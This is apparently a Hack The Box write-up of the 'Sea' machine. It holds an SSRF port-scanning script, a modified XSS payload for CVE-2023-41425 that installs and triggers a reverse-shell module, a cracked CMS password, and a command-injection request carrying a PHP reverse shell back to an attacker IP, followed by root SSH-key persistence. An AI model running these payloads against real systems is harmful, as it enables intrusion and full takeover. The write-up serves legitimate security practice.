Skip to content

HTB: Sea

A CMS with a RCE XSS vulnerability offers a foothold and leaked credentials. A command injection on a service bound to localhost allows escalation to root.

Enumeration

nmap

80/tcp-http Apache httpd 2.4.41 ((Ubuntu))
__http-title:
Sea - Home
__http-methods:
  Supported Methods: GET HEAD POST OPTIONS
__http-cookie-flags:
  /: 
    PHPSESSID: 
      httponly flag not set
__http-server-header:
Apache/2.4.41 (Ubuntu)

Directory Fuzzing

My first few attempts with feroxbuster found contact.php but not loginURL or any other clues about the CMS. Only after trying directory-list-2.3-big.txt did I make progress on that.

Phishing Opportunity

Here is contact.php:

Via Burp:

POST /contact.php HTTP/1.1
Host: sea.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://sea.htb/contact.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: http://sea.htb
Connection: keep-alive
Cookie: PHPSESSID=0t9epb48sulfhr6jftnolmcubu
Upgrade-Insecure-Requests: 1
Priority: u=0, i

name=xx&email=x%40x.x&age=42&country=x&website=http%3A%2F%2F10.10.14.3%2Fx.html

None of the fields appear (easily) injectable, but the Website field allows entering a URL that triggers a connection back from the target:

Connection received on 10.10.11.28 43162
GET / HTTP/1.1
Host: 10.10.14.3
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.5938.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate

SSRF Scanner

I created this "scanner" on my www server:

$ cat ~/www/x.html
<html>
<body>
<script>
(async function() {
  const startPort = 1;
  const endPort = 65535;
  const maxConcurrency = 100;

  let currentPort = startPort;
  const activeRequests = new Set();

  function getNextPort() {
    if (currentPort > endPort) {
      return null;
    }
    return currentPort++;
  }

  async function scanPort(port) {
    try {
      const response = await fetch('http://127.0.0.1:' + port, { mode: 'no-cors' });
      // Infer open ports based on the absence of errors.
      await fetch('http://10.10.14.3/report?port=' + port + '&status=open');
    } catch (error) {
      // Ports that refuse connection or are closed will trigger an error.
      //await fetch('http://10.10.14.3/report?port=' + port + '&status=closed');
    }
  }

  async function worker() {
    while (true) {
      const port = getNextPort();
      if (port === null) break;
      const request = scanPort(port);
      activeRequests.add(request);
      await request;
      activeRequests.delete(request);

      // Throttle the number of concurrent requests
      while (activeRequests.size >= maxConcurrency) {
        await Promise.race(activeRequests);
      }
    }
  }

  const workers = [];
  const numWorkers = maxConcurrency;
  for (let i = 0; i < numWorkers; i++) {
    workers.push(worker());
  }

  await Promise.all(workers);
})();
</script>
</body>
</html>

After submitting the URL for the above to the target, I receive these open ports:

10.10.11.28 - - [22/Nov/2024 11:20:02] "GET /x.html HTTP/1.1" 200 -
10.10.11.28 - - [22/Nov/2024 11:20:03] "GET /report?port=80&status=open HTTP/1.1" 200 -
10.10.11.28 - - [22/Nov/2024 11:20:34] "GET /report?port=8080&status=open HTTP/1.1" 200 -
10.10.11.28 - - [22/Nov/2024 11:22:59] "GET /report?port=39013&status=open HTTP/1.1" 200 -

This wasn't really very useful, since it wasn't required for the foothold and thereafter a locally bound service is easy to identify without all that. But, that SSRF scanning approach might be useful for another target so I'll leave it here.

Remote Code Execution

This PoC for CVE-2023-41425 works to get a foothold, but it doesn't work as is. I had to make two modifications. First, it has a secondary payload that calls https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip, which I had to download and serve via my own web server on the local segment; HTB machines can't call out to the public Internet. Second, the XSS payload as written doesn't work for me. Something with the variable assignments are wrong, resulting in invalid URLs. Here's what it looks like in the console on the victim's side:

Here's my modified xss.js payload:

var url = "http://sea.htb/";
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = url+"/?installModule=http://10.10.14.3/main.zip&directoryName=violet&type=themes&token=" + token; var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   xhr4.open("GET", url+"/themes/revshell-main/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.3";
       var port = "443";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       xhr5.open("GET", url+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};

This works, although it still complains about the token assignment:

Uncaught TypeError: document.querySelectorAll(...)[0] is undefined
    <anonymous> http://10.10.14.3:8000/xss.js:2

Note: there's an opportunity to write a cleaner PoC for this.

As the foothold user, credentials are available in data/database.js:

{
    "config": {
        "siteTitle": "Sea",
        "theme": "bike",
        "defaultPage": "home",
        "login": "loginURL",
        "forceLogout": false,
        "forceHttps": false,
        "saveChangesPopup": false,
        "password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
...

Cleaned (backslashes removed) and cracked:

$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance

Privilege Escalation

There's a rudimentary system information script listening on port 8080 which has a command injection, exploitable like this:

POST / HTTP/1.1
Host: localhost:18080
...

log_file=%2Fvar%2Flog%2Fapache2%2Faccess.log;php%20-r%20%27%24sock%3Dfsockopen%28%2210.10.14.3%22%2C443%29%3Bexec%28%22bash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27&analyze_log=;

The shell that returns isn't very stable, but it was open long enough for me to add my SSH public key to /root/.ssh/authorized_keys and log in properly as root.

Post-exploitation

root@sea:/home/geo/scripts# cat contact.py
import os
import asyncio
from pyppeteer import launch
import requests

async def XSS(page, url):
    login_url = 'http://127.0.0.1/loginURL'
    headers = {'host': 'sea.htb'}
    data = {'password': 'mychemicalromance'}

    response = requests.post(login_url, data=data, headers=headers, allow_redirects=False)
    cookie = response.headers.get('Set-Cookie')
    cookie = cookie.split(';')
    cookie = cookie[1].split('=')[2]
    cookie = {'name': 'PHPSESSID', 'value': cookie, 'domain': 'sea.htb'}
    await page.setCookie(cookie)
    try:
        await page.goto(url)
        content = await page.content()
    except Exception as e:
        print(f"[!] Failed at goto. {e}")

async def main():
    browser = await launch(headless=True, args=['--no-sandbox'])
    page = await browser.newPage()
    directory_path = "/var/www/sea/messages/"

    while True:
        files = os.listdir(directory_path)
        message_files = [file for file in files if file.endswith(".txt")]

        urls = []
        for file in message_files:
            try:
                file_path = os.path.join(directory_path, file)
                with open(file_path, 'r') as f:
                    lines = f.readlines()
                    for line in lines:
                        if line.startswith("Website:"):
                            website = line.strip().split(": ")[1]
                            urls.append(website)
            except:
                print(f"[!] Failed to process {file}")

        for url in urls:
            try:
                await XSS(page, url)
            except:
                print("[!] Failed at XSS")

        os.system(f"rm -f {directory_path}*")
        await asyncio.sleep(60)

asyncio.get_event_loop().run_until_complete(main())
root@sea:/var/www/sea# cat .htaccess
Options -Indexes
ServerSignature Off
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.+)$ index.php?page=$1 [QSA,L]
RewriteRule database.js - [F]
RewriteRule cache.json - [F]
root@sea:/var/www/sea# cat contact.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Contact Form</title>
<style>
    body, html {
        margin: 0;
        padding: 0;
        height: 100%;
        overflow: hidden;
    }
    #background {
        position: fixed;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background: #00274c;
        z-index: -1;
    }
    #stars {
        width: 1px;
        height: 1px;
        background: #fff;
        position: absolute;
        animation: twinkle 2s infinite;
    }
    @keyframes twinkle {
        0% {
            opacity: 1;
        }
        100% {
            opacity: 0;
        }
    }
    #container {
        position: relative;
        z-index: 1;
        max-width: 600px;
        margin: 50px auto;
        padding: 20px;
        background-color: rgba(255, 255, 255, 0.9);
        border-radius: 10px;
        box-shadow: 0 0 20px rgba(0, 0, 0, 0.2);
    }
    h1 {
        text-align: center;
        margin-bottom: 30px;
        color: #00274c;
    }
    label {
        display: block;
        margin-bottom: 5px;
        color: #00274c;
    }
    input[type="text"],
    input[type="email"],
    input[type="number"] {
        width: calc(100% - 12px);
        padding: 8px;
        margin-bottom: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
    }
    input[type="text"]:focus,
    input[type="email"]:focus,
    input[type="number"]:focus {
        outline: none;
        border-color: #6fb3e0;
    }
    input[type="submit"] {
        background-color: #6fb3e0;
        color: #fff;
        border: none;
        padding: 10px 20px;
        border-radius: 5px;
        cursor: pointer;
    }
    input[type="submit"]:hover {
        background-color: #4a90c6;
    }
</style>
</head>
<body>


 <?php
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        $name = $_POST["name"];
        $email = $_POST["email"];
        $age = $_POST["age"];
        $country = $_POST["country"];
        $website = $_POST["website"];
        $message = "";
        $content = "Name: $name\nEmail: $email\nAge: $age\nCountry: $country\nWebsite: $website\n";

        $file_path = "/var/www/sea/messages/" . date("Y-m-d") . ".txt";

        if (file_put_contents($file_path, $content, FILE_APPEND) !== false) {
            $message = "<p style='color: green;'>Form submitted successfully!</p>";
        } else {
            $message = "<p style='color: red;'>Failed to submit form. Please try again later.</p>";
        }
    }
    ?>


    <div id="background">
        <div id="stars"></div>
    </div>
    <div id="container">
        <h1>Competition registration - Sea</h1>
        <?php echo $message; ?>

        <form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>" method="post">
            <label for="name">Name:</label>
            <input type="text" id="name" name="name" required>

            <label for="email">Email:</label>
            <input type="email" id="email" name="email" required>

            <label for="age">Age:</label>
            <input type="number" id="age" name="age" required>

            <label for="country">Country:</label>
            <input type="text" id="country" name="country" required>

            <label for="website">Website:</label>
            <input type="text" id="website" name="website">

            <input type="submit" value="Submit">
        </form>
    </div>
</body>
</html>

Open Questions

Unresolved issues encountered while attacking this target.

  • Why is the foothold shell unstable?